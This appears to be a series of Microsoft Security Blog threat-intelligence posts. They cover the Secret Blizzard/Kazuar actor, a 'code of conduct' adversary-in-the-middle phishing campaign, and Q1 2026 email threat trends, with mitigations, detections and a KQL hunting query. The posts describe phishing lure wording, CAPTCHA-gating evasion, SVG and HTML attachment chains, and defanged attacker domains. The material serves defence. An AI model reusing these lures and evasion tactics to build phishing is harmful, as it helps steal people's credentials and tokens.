The United States Cybersecurity and Infrastructure Security Agency (CISA) has attributed Secret Blizzard to Center 16 of Russia’s Federal Security Service (FSB), which is one of Russia’s Signals Intelligence and Computer Network Operations (CNO) services responsible for intercepting and decrypting electronic data as well as the technical penetration of foreign intelligence targets. Secret Blizzard overlaps with activity tracked by other security vendors as VENOMOUS BEAR, Uroburos, Snake, Blue Python, Turla, WRAITH, and ATG26.

Secret Blizzard is known for targeting a wide array of verticals, but most prominently ministries of foreign affairs, embassies, government offices, defense departments, and defense-related companies worldwide. Secret Blizzard focuses on gaining long-term access to systems for intelligence collection using extensive resources such as multiple backdoors, including some with peer-to-peer functionality and C2 communication channels. During intrusions, the threat actor collects and exfiltrates documents, PDFs, and email content. In general, Secret Blizzard seeks out information of political importance with a particular interest in advanced research that might impact international political issues.

Mitigation and protection guidance

To harden networks against the Secret Blizzard activity listed above, defenders can implement the following:

Strengthen Microsoft Defender for Endpoint configuration

• Microsoft Defender XDR customers can implement attack surface reduction rules to harden an environment against techniques used by threat actors.
  • Block execution of potentially obfuscated scripts.
  • Block process creations originating from PSExec and WMI commands
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion
  • Block abuse of exploited vulnerable signed drivers.
• Enable network protection in Microsoft Defender for Endpoint.
• Ensure that tamper protection is enabled in Microsoft Defender for Endpoint.
• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode.
• Configure investigation and remediation in full automated mode to let Microsoft Defender for Endpoint take immediate action on alerts to resolve breaches, significantly reducing alert volume.

Strengthen Microsoft Defender Antivirus configuration

• Turn on PUA protection in block mode in Microsoft Defender Antivirus.
• Turn on  cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving threat actor tools and techniques.
• Turn on Microsoft Defender Antivirus real-time protection.

Strengthen operating environment configuration

• Encourage users to use Microsoft Edge and other web browsers that support SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Implement PowerShell execution policies to control conditions under which PowerShell can load configuration files and run scripts.
• Turn on and monitor PowerShell module and script block logging.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Actor profile: Secret Blizzard

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Indicators of compromise

References

• Over the Kazuar’s Nest: Cracking Down on a Freshly Hatched Backdoor Used by Pensive Ursa (Aka Turla)
• 🇷🇺 COMmand & Evade: Turla’s Kazuar v3 Loader
• Russia’s FSB malign activity: factsheet
• Hunting Russian Intelligence “Snake” Malware

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Kazuar: Anatomy of a nation-state botnet appeared first on Microsoft Security Blog.

Phishing campaigns continue to improve sophistication and refinement in blending social engineering, delivery and hosting infrastructure, and authentication abuse to remain effective against evolving security controls. A large-scale credential theft campaign observed by Microsoft Defender Research exemplifies this trend, using code of conduct-themed lures, a multi-step attack chain, and legitimate email services to distribute fully authenticated messages from attacker-controlled domains.

The campaign targeted tens of thousands of users, primarily in the United States, and directed them through several stages of CAPTCHA and intermediate staging pages designed to reinforce legitimacy while filtering out automated defenses. The lures in this campaign used polished, enterprise-style HTML templates with structured layouts and preemptive authenticity statements, making them appear more credible than typical phishing emails and increasing their plausibility as legitimate internal communications. Because the messages contained concerning accusations and repeated time-bound action prompts, the campaign created a sense of urgency and pressure to act.  

The attack chain ultimately led to a legitimate sign-in experience that was part of an adversary‑in‑the‑middle (AiTM) phishing flow, which allowed the attackers to proxy the authentication session and capture authentication tokens that could provide immediate account access. Unlike traditional credential harvesting, AiTM attacks intercept authentication traffic in real time, bypassing non-phishing-resistant multifactor authentication (MFA).

In this blog, we’re sharing our analysis of this campaign’s lures, infrastructure, and techniques. Organizations can defend against financial fraud initiated through phishing emails by educating users about phishing lures, investing in advanced anti-phishing solutions like Microsoft Defender for Office 365 and configuring essential email security settings, and encouraging users to employ web browsers that support SmartScreen. Organizations can also enable network protection, which lets Windows use SmartScreen as a host-based web proxy.

Multi-step social engineering campaign leading to credential theft

Between April 14 and 16, 2026, the Microsoft Defender Research team observed a series of sophisticated phishing campaigns targeting more than 35,000 users across over 13,000 organizations in 26 countries, with majority of targets located in the United States (92%). The campaign did not focus on a single vertical but instead impacted a broad range of industries, most notably Healthcare & life sciences (19%), Financial services (18%), Professional services (11%), and Technology & software (11%). Messages were distributed in multiple distinct waves between 06:51 UTC on April 14 and 03:54 UTC on April 16. 

Emails in this campaign posed as internal compliance or regulatory communications, using display names such as “Internal Regulatory COC”, “Workforce Communications”, and “Team Conduct Report”. Subject lines included “Internal case log issued under conduct policy” and “Reminder: employer opened a non-compliance case log”.

Message bodies claimed that a “code of conduct review” had been initiated, referenced organization-specific names embedded within the text, and instructed recipients to “open the personalized attachment” to review case materials. At the top of each message, a notice stated that the message had been “issued through an authorized internal channel” and that links and attachments had been “reviewed and approved for secure access”, reinforcing the email’s purported legitimacy. To further support the confidentiality of the supposed review, the end of each message contained a green banner stating that the contents had been encrypted using Paubox, a legitimate service associated with HIPAA-compliant communications.

Analysis of the sending infrastructure indicated that the campaign emails were sent using a legitime email delivery service, likely originating from a cloud-hosted Windows virtual machine. The messages were sent from multiple sender addresses using domains that are likely attacker-controlled.

Each campaign email included a PDF attachment with filenames such as Awareness Case Log File – Tuesday 14th, April 2026.pdf and Disciplinary Action – Employee Device Handling Case.pdf. The attachment provided additional context about the supposed conduct review, including a summary of the review process and instructions for accessing supporting documentation. Recipients were directed to click a “Review Case Materials” link within the PDF, which initiated the credential harvesting flow.

When clicked, users were initially directed to one of two attacker-controlled domains (for example, acceptable-use-policy-calendly[.]de or compliance-protectionoutlook[.]de). These landing pages displayed a Cloudflare CAPTCHA, presented as a mechanism to validate that the user was coming “from a valid session”. This CAPTCHA likely served as a gating mechanism to impede automated analysis and sandbox detonation. 

After completing the CAPTCHA, users were redirected to an intermediate site designed to prepare them for the final stage of the attack. This page informed users that the requested documentation was encrypted and required account authentication. While this stage of the attack has several hallmarks of device code phishing, we were only able to confirm the AITM portion of the attack chain.

After clicking the provided “Review & Sign” button, users were presented with a sign-in prompt requesting their email address.

After submission, users were required to complete a second CAPTCHA involving image selection.

Once these steps were completed, users were shown a message indicating that verification was successful and that their “case” was being prepared.

Following these steps, users were redirected to a third site hosting the final stage of the attack. Analysis of the underlying code indicates that the final destination varied depending on whether the user accessed the workflow from a mobile device or a desktop system.

On the final page, users were informed that all materials related to their code of conduct review had been “securely logged”, “time-stamped”, and “maintained within the organization’s centralized compliance tracking system”. They were then prompted to schedule a time to discuss the case, which required signing in to their account.

Selecting the “Sign in with Microsoft” option redirected users to a Microsoft authentication page, initiating an AiTM session hijacking flow designed to capture authentication tokens and compromise user accounts.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat. Check the recommendations card for the deployment status of monitored mitigations.

• Review the recommended settings for Exchange Online Protection and Microsoft Defender for Office 365 to ensure your organization has established essential defenses and knows how to monitor and respond to threat activity.
• Invest in user awareness training and phishing simulations. Attack simulation training in Microsoft Defender for Office 365, which also includes simulating phishing messages in Microsoft Teams, is one approach to running realistic attack scenarios in your organization.
• Enable Zero-hour auto purge (ZAP) in Defender for Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
• Responders could also manually check for and purge unwanted emails containing URLs and/or Subject fields that are similar, but not identical, to those of known bad messages. Investigate malicious email that was delivered in Microsoft 365 and use Threat Explorer to find and delete phishing emails.
• Turn on Safe Links and Safe Attachments in Microsoft Defender for Office 365.
• Enable network protection in Microsoft Defender for Endpoint.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Enable password-less authentication methods (for example, Windows Hello, FIDO keys, or Microsoft Authenticator) for accounts that support password-less. For accounts that still require passwords, use authenticator apps like Microsoft Authenticator for multifactor authentication (MFA). Refer to this article for the different authentication methods and features.
  • Conditional access policies can also be scoped to strengthen privileged accounts with phishing resistant MFA.
• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Threat overview profile: Adversary-in-the-middle credential phishing
• Threat overview profile: Evolving phishing threats

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Campaign emails by sender address

The following query identifies emails associated with this campaign using a message’s sending email address.

EmailEvents
| where SenderMailFromAddress in (" cocpostmaster@cocinternal.com "," nationaladmin@gadellinet.com ","
nationalintegrity@harteprn.com”,” m365premiumcommunications@cocinternal.com”,” documentviewer@na.businesshellosign.de”)

Indicators of compromise

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Breaking the code: Multi-stage ‘code of conduct’ phishing campaign leads to AiTM token compromise appeared first on Microsoft Security Blog.

During the first quarter of 2026 (January-March), Microsoft Threat Intelligence detected approximately 8.3 billion email-based phishing threats, with monthly volumes declining slightly from 2.9 billion in January to 2.6 billion in March. By the end of the quarter, QR code phishing emerged as the fastest-growing attack vector, more than doubling over the period, while CAPTCHA-gated phishing evolved rapidly across payload types. Overall, 78% of email threats were link-based, while malicious payloads accounted for 19% of attacks in January—boosted by large HTML and ZIP campaigns—before settling at 13% in both February and March. Credential phishing remained the dominant objective behind malicious payloads throughout the quarter. This shift toward link-based delivery, combined with the payload trends, suggests that threat actors increasingly preferred hosted credential phishing infrastructure over locally-rendered payloads as the quarter progressed.

This blog provides a view of email threat activity across the first quarter of 2026, highlighting key trends in phishing techniques, payload delivery, and threat actor behavior observed by Microsoft Threat Intelligence. We examine shifts in QR code phishing, CAPTCHA evasion tactics, malicious payloads, and BEC activity, analyze how disruption efforts and infrastructure changes influenced threat actor operations, and provide recommendations and Microsoft Defender detections to help mitigate these threats. By bringing these trends together, this blog can help defenders understand how email-based attacks are evolving and where to focus detection, mitigation, and user protection strategies.

Tycoon2FA disruption impact

Since its emergence in August 2023, Tycoon2FA has rapidly become one of the most widespread PhaaS platforms, leveraging adversary-in-the-middle (AiTM) techniques to attempt to defeat non-phishing-resistant multifactor authentication (MFA) defenses. The group behind the PhaaS platform (tracked by Microsoft Threat Intelligence as Storm-1747) leases malicious infrastructure and sells phishing kits that impersonate various enterprise application sign-in pages and incorporate evasion tactics, such as fake CAPTCHA pages.

The quarter began with Tycoon2FA in a period of reduced activity. January volumes represented a 54% decline from December 2025, marking the second consecutive month of sharp decreases. While post-holiday seasonal effects may have contributed to this decrease in volume, some of the reduction might also have been the result of Microsoft’s Digital Crimes Unit disruption of RedVDS, a service used by many Tycoon2FA customers to distribute malicious email campaigns.

After surging 44% in February, phishing attacks pointing to Tycoon2FA fell 15% in March driven largely by the effects of a coordinated disruption operation. In early March 2026, Microsoft’s Digital Crimes Unit, in coordination with Europol and industry partners, took action to disrupt Tycoon2FA’s infrastructure and operations, significantly impairing the platform’s hosting capabilities. While Tycoon2FA-linked messages continued to circulate after the disruption, almost one-third of March’s total volume was concentrated in a three-day period early in the month; daily volumes for the remainder of March were notably lower than historical averages, and targets’ ability to reach active phishing pages was substantially reduced.

Tycoon2FA’s infrastructure composition evolved multiple times during the first three months of 2026. In January, Tycoon2FA domains started shifting toward newer generic top-level domains (TLDs) such as .DIGITAL, .BUSINESS, .CONTRACTORS, .CEO, and .COMPANY, moving away from previous commonly used TLDs or second-level domains like .SA.COM, .RU, and .ES. This trend became even more well-established in February. Following the March disruption, however, Microsoft Threat Intelligence observed a notable increase in Tycoon2FA domains with .RU registrations, with more than 41% of all Tycoon2FA domains using a .RU TLD since the last week of March.

Additionally, toward the end of March, we saw Tycoon2FA moving away from Cloudflare as a hosting service and now hosts most of its domains across a variety of alternative platforms, suggesting the group is attempting to find replacement services that offer comparable anti-analysis protections.  

QR code phishing attacks

In recent years, QR codes have rapidly emerged as a preferred tool among phishing threat actors seeking to bypass traditional email defenses. By embedding malicious URLs within image-based QR codes in the body of an email or within the contents of an attachment, threat actors attempt to exploit the limitations of text-based scanning engines and redirect victims to phishing sites on unmanaged mobile devices.

The most significant shift in Q1 2026 was the rapid escalation of QR code phishing, with attack volumes increasing from 7.6 million in January to 18.7 million in March, a 146% increase over the quarter. After an initial 35% decline in January (continuing a late-2025 downtrend), volumes reversed course dramatically, growing 59% in February and another 55% in March. By the end of the quarter, QR code phishing had reached its highest monthly volume in at least a year.

PDF attachments were the dominant delivery method throughout the quarter, growing from 65% of QR code attacks in January to 70% in March. While the overall volume of DOC/DOCX payloads containing malicious QR codes steadily increased each month, their share of overall delivery payloads decreased from 31% in January to 24% in March. A notable late-quarter development was the emergence of QR codes embedded directly in email bodies, which surged 336% in March. While still a small share of total volume (5%), this approach eliminates the need for an attachment altogether and highlights a shift in threat actor delivery methods that defenders should continue to monitor.

CAPTCHA tactics

Threat actors use CAPTCHA pages to delay detection and increase user interaction. These pages function as a visual decoy, giving the appearance of a legitimate security check while concealing a transition to malicious content. By forcing users to engage with the CAPTCHA before accessing the payload, threat actors reduce the likelihood of automated scanning tools identifying the threat and increase the chances of successful credential harvesting or malware delivery. Additionally, fake CAPTCHAs are used in ClickFix attacks to trick users into copying and executing malicious commands under the guise of human verification, allowing malware to bypass conventional security controls.

After declining in both January (-45%) and February (-8%), CAPTCHA-gated phishing volumes exploded in March, more than doubling (+125%) to 11.9 million attacks, the highest volume observed over the last year.

The most notable aspect of Q1 CAPTCHA trends was the rapid rotation of delivery methods, as threat actors appeared to actively experiment with which payload formats most effectively evade email defenses:

• HTML attachments started the year as the most common method to deliver CAPTCHA-gated phishing (37% in January), but dropped 34% in February, hitting its lowest monthly volume since August 2025. Although their volume more than doubled in March, hitting an annual monthly high, HTML files were still only the second-most common delivery method to close the quarter.

• SVG files, which had seen consecutive months of decreasing volumes, grew by 49% in February at the same time nearly every other delivery payload type decreased. Because of this, it was the most common delivery method for the month, which had not happened since November 2025. This one-month spike reversed itself in March, however, and the number of SVG files delivering CAPTCHA-gated phish fell by 57%, accounting for just 7% of delivery payloads.
• PDF files saw a meteoric rise in volume during the first quarter of the year. After seeing steady month-over-month declines since July 2025, and hitting an annual monthly low point in January 2026, the number of PDF attachments leading to CAPTCHA-gated phishing sites more than quadrupled in March (+356%). Not only did it retake its spot as the most common delivery method for these attacks since last July, but it eclipsed its annual high by more than 37%.
• DOC/DOCX files, which didn’t make up more than 9% of CAPTCHA-gated phishing payloads over the previous nine months, increased almost five times (+373%) in March to account for 15% of payloads.
• Email-embedded URLs, which had once delivered more than half of CAPTCHA-gated phish at the end of August 2025, hit an eight-month low after falling 85% between December and February. While their volume nearly doubled in March, they remained well below late-2025 levels.

Another notable shift in CAPTCHA-gated phishing attacks was the erosion of Tycoon2FA’s impact on the landscape. At the end of 2025, more than three-quarters of CAPTCHA-gated phishing sites were hosted on Tycoon2FA infrastructure. This share decreased significantly over the course of the first three months of 2026, falling to just 41% in March. This broadening of CAPTCHA-gated phishing sites being used by an increasing number of threat actors and phishing kits, combined with the overall surge in volume, indicates that this technique is becoming a more entrenched component of the phishing playbook rather than a specialty of a small number of tools.

Three-day campaign delivers CAPTCHA-gated phishing content using malicious SVG attachments

Between February 23 and February 25, 2026, a large, sustained campaign sent more than 1.2 million messages to users at more than 53,000 organizations in 23 countries. Messages in the campaign included a number of different themes, including an important 401K update, a credit hold warning, a question about a received payment, a payment request for a past due invoice, and a voice message notification.

Many of the messages contained a fake confidentiality disclaimer to enhance the credibility of the messages and provide a proactive excuse about why a recipient may have mistakenly received an email that may not be applicable to them.

Attached to each message was an SVG file that was named to appropriately match the theme of the email. All the file names included a Base64-encoded version of the recipient’s email address. Example of file names used in the campaign include the following:

• <Recipient Email Domain>_statements_inv_<Base64-encoded Email Address>.svg
• 401K_copy_<Recipient Name>_<Base64-encoded Email Address>_241.svg
• Check_2408_Payment_Copy_<Recipient First Name>_<Base64-encoded Email Address>_241.svg
• INV#_1709612175_<Base64-encoded Email Address>.svg
• Listen_(<Base64-encoded Email Address>).svg
• PLAY_AUDIO_MESSAGE__<Recipient Name>_<Base64-encoded Email Address>_241.svg

If an attached SVG file was opened, the user’s browser would open locally and fetch content from one of the three following hostnames:

• bouleversement.niovapahrm[.]com
• haematogenesis.hvishay[.]com
• ubiquitarianism.drilto[.]com

Initially, the user would be shown a “security check” CAPTCHA. Once the CAPTCHA had been successfully completed, the user would then be shown a fake sign-in page used to compromise their account credentials.

Malicious payloads

Credential phishing tightened its grip on the malicious payload landscape across Q1, growing from 89% of all payload-based attacks in January to 95% in February before settling at 94% in March. These credential phishing payloads either linked users to phishing pages or locally loaded spoofed sign-in screens on a user’s device. Traditional malware delivery continued its long-term decline, representing just 5–6% of payloads by the end of the quarter.

The most striking payload trend was the volatility across file types, driven by large campaigns that created dramatic week-to-week swings:

• HTML attachments started Q1 as the leading file type (37% of payloads in January), fell to an annual low in February (-57%), then nearly tripled in March (+175%). This volatility was largely campaign-driven, with concentrated activity in the first half of January and the third week of March.
• Malicious PDFs followed a steady upward trajectory, increasing 38% in February and another 50% in March to reach their highest monthly volume in over a year. By March, PDFs accounted for 29% of payloads, up from 19% in January.
• ZIP/GZIP attachments were similarly volatile by nearly doubling in January (+94%), dropping 38% in February, then surging 79% in March. Threat actors commonly use ZIP files to circumvent Mark of the Web (MOTW) protections.
• SVG files emerged briefly in February as a notable delivery method (with a 50% volume increase) before declining 32% in March, mirroring the pattern seen in CAPTCHA-gated phishing.

Large-scale HTML phishing campaign hosts content on multiple PhaaS infrastructures

On March 17, 2026, Microsoft Threat Intelligence observed a massive phishing campaign that drove a significant surge in malicious HTML attachments during the month. The campaign involved more than 1.5 million confirmed malicious messages sent to over 179,000 organizations across 43 countries, accounting for approximately 7% of all malicious HTML attachments observed in March.

All messages in this campaign were likely sent using the same tool or service, which exhibited several distinct and highly consistent characteristics. Most notably, sender addresses across the campaign featured excessively long, keyword‑stuffed usernames that embedded URLs, tracking identifiers, and service references. These usernames were crafted to resemble legitimate transactional, billing, or document‑related notification senders. Examples of observed sender usernames include:

• eReceipt_Payment_Alert_Noreply-/m939k6d7.r.us-west-2.awstrack.me/L0/%2F%2Fspectrumbusiness.net%2Fbilling%2F/2/010101989f2c1f29-ab5789bd-1426-4800-ae7d-877ea7f61d24-000000/LHnBIXX0VmCLVoXwNWtt23hGCdc=439/us02web.zoom.nl/j/81163775943?pwd=bLoo4JaWavsiTAuLWNoRsmbmALwjLB.1-qq8m2tzd
• Center-=AAP1eU7NKykAABXNznVa8w___listenerId=AAP1eU7NKykAABXNznVa8w___aw_0_device.player_name=Chrome___aw_0_ivt.result=unknown___cbs=9901711___aw_0_azn.zposition=%5B%22undefined%22%5D___us_privacy=___aw_0_app.name=Second+Screen___externalClickUrl=otdk-takaki-h
• DocExchange_Noreply-m939k6d7.r.us_west_2.awstrack.me/L0/%2F%2Fspectrumbusiness.net%2Fbilling%2F/2/010101989f2c1f29ab5789bd14264800ae7d877ea7f61d24000000/LHnBIXX0VmCLVoXwNWtt23hGCdc=439/us02web.zoom.nl/j/81163775943?pwd=bLoo4JaWavsiTAuLWNoRsmbmALwjLB.1-angie

The emails themselves contained little to no message body content. While subject lines varied, they consistently impersonated routine business and workflow notifications, including payment and remittance alerts (for example, Automated Clearing House (ACH), Electronic Funds Transfer (EFT), wire), invoice or aging statements, and e‑signature or document delivery requests. These subjects relied on urgency, approval language, and transactional framing to prompt recipients to review, sign, or access an attached document.

Each message included an HTML attachment with a file name aligned to the email’s theme. When opened, the HTML file launched locally on the recipient’s device and immediately redirected the user to an initial external staging page. This page performed basic screening and then redirected the user to a secondary landing page hosting the phishing content. On the final landing page, users were presented with a CAPTCHA challenge before being directed to a fraudulent sign‑in page designed to harvest account credentials.

Interestingly, although messages in this campaign shared common tooling, structure, and delivery characteristics, the infrastructure hosting the final phishing payload was linked to multiple different PhaaS providers. Most observed phishing endpoints were associated with Tycoon2FA, while additional activity was linked to Kratos (formerly Sneaky2FA) and EvilTokens infrastructure.

Business email compromise

Microsoft defines business email compromise (BEC) as a text-based attack targeting enterprise users that impersonates a trusted entity for the purpose of persuading a recipient into initiating a fraudulent financial transaction or sending the threat actor sensitive documents. These attacks fluctuated across Q1, totaling approximately 10.7 million attacks: rising 24% in January, dipping 8% in February, then surging 26% in March.

The composition of BEC attacks remained consistent throughout Q1. Generic outreach messages (like “Are you at your desk?”) accounted for 82–84% of initial contact emails each month, while explicit requests for specific financial transactions or documents represented just 9–10%. This pattern underscores that BEC operators overwhelmingly favor establishing a conversational rapport before making fraudulent requests, rather than leading with direct financial asks.

Within the smaller subset of explicit financial requests, two sub-categories showed notable movement. Payroll update requests grew 15% in February, reaching their highest volume in eight months, potentially reflecting tax season-related social engineering. Gift card requests fell 37% in February to their lowest level since July before rebounding sharply in March (+108%), though they still represented less than 3% of overall BEC messages. These fluctuations suggest that BEC operators adjust their specific financial pretexts seasonally while maintaining a consistent overall approach.

Defending against email threats

Microsoft recommends the following mitigations to reduce the impact of this threat.

• Review the recommended settings for Exchange Online Protection and Microsoft Defender for Office 365 to ensure your organization has established essential defenses and knows how to monitor and respond to threat activity.
• Invest in user awareness training and phishing simulations. Attack simulation training in Microsoft Defender for Office 365, which also includes simulating phishing messages in Microsoft Teams, is one approach to running realistic attack scenarios in your organization.
• Enable Zero-hour auto purge (ZAP) in Defender for Office 365 to quarantine sent mail in response to newly acquired threat intelligence and retroactively neutralize malicious phishing, spam, or malware messages that have already been delivered to mailboxes.
• Responders could also manually check for and purge unwanted emails containing URLs and/or Subject fields that are similar, but not identical, to those of known bad messages. Investigate malicious email that was delivered in Microsoft 365 and use Threat Explorer to find and delete phishing emails.
• Turn on Safe Links and Safe Attachments in Microsoft Defender for Office 365.
• Enable network protection in Microsoft Defender for Endpoint.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Enable password-less authentication methods (for example, Windows Hello, FIDO keys, or Microsoft Authenticator) for accounts that support password-less. For accounts that still require passwords, use authenticator apps like Microsoft Authenticator for MFA. Refer to this article for the different authentication methods and features.
  • Conditional access policies can also be scoped to strengthen privileged accounts with phishing resistant MFA.
• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Defender for Endpoint

The following alert might indicate threat activity associated with this threat. The alert, however, can be triggered by unrelated threat activity.

• Suspicious activity likely indicative of a connection to an adversary-in-the-middle (AiTM) phishing site

Microsoft Defender for Office 365

The following alerts might indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity.

• A potentially malicious URL click was detected
• A user clicked through to a potentially malicious URL
• Suspicious email sending patterns detected
• Email messages containing malicious URL removed after delivery
• Email messages removed after delivery
• Email reported by user as malware or phish

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following Threat Analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender XDR threat analytics

• Activity Profile: Email threat landscape, March 2026
• Activity Profile: Email threat landscape, February 2026
• Activity Profile: Email threat landscape, January 2026
• Tool Profile: Tycoon2FA
• Actor Profile: Storm-1747
• Technique Profile: QR code phishing
• Technique Profile: ClickFix technique leverages clipboard to run malicious commands
• Threat Overview Profile: Business Email Compromise
• Threat Overview Profile: Adversary-in-the-middle credential phishing

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Email threat landscape: Q1 2026 trends and insights appeared first on Microsoft Security Blog.

Phishing campaigns continue to improve sophistication and refinement in blending social engineering, delivery and hosting infrastructure, and authentication abuse to remain effective against evolving security controls. A large-scale credential theft campaign observed by Microsoft Defender Research exemplifies this trend, using code of conduct-themed lures, a multi-step attack chain, and legitimate email services to distribute fully authenticated messages from attacker-controlled domains.

The campaign targeted tens of thousands of users, primarily in the United States, and directed them through several stages of CAPTCHA and intermediate staging pages designed to reinforce legitimacy while filtering out automated defenses. The lures in this campaign used polished, enterprise-style HTML templates with structured layouts and preemptive authenticity statements, making them appear more credible than typical phishing emails and increasing their plausibility as legitimate internal communications. Because the messages contained concerning accusations and repeated time-bound action prompts, the campaign created a sense of urgency and pressure to act.  

The attack chain ultimately led to a legitimate sign-in experience that was part of an adversary‑in‑the‑middle (AiTM) phishing flow, which allowed the attackers to proxy the authentication session and capture authentication tokens that could provide immediate account access. Unlike traditional credential harvesting, AiTM attacks intercept authentication traffic in real time, bypassing non-phishing-resistant multifactor authentication (MFA).

In this blog, we’re sharing our analysis of this campaign’s lures, infrastructure, and techniques. Organizations can defend against financial fraud initiated through phishing emails by educating users about phishing lures, investing in advanced anti-phishing solutions like Microsoft Defender for Office 365 and configuring essential email security settings, and encouraging users to employ web browsers that support SmartScreen. Organizations can also enable network protection, which lets Windows use SmartScreen as a host-based web proxy.

Multi-step social engineering campaign leading to credential theft

Between April 14 and 16, 2026, the Microsoft Defender Research team observed a series of sophisticated phishing campaigns targeting more than 35,000 users across over 13,000 organizations in 26 countries, with majority of targets located in the United States (92%). The campaign did not focus on a single vertical but instead impacted a broad range of industries, most notably Healthcare & life sciences (19%), Financial services (18%), Professional services (11%), and Technology & software (11%). Messages were distributed in multiple distinct waves between 06:51 UTC on April 14 and 03:54 UTC on April 16. 

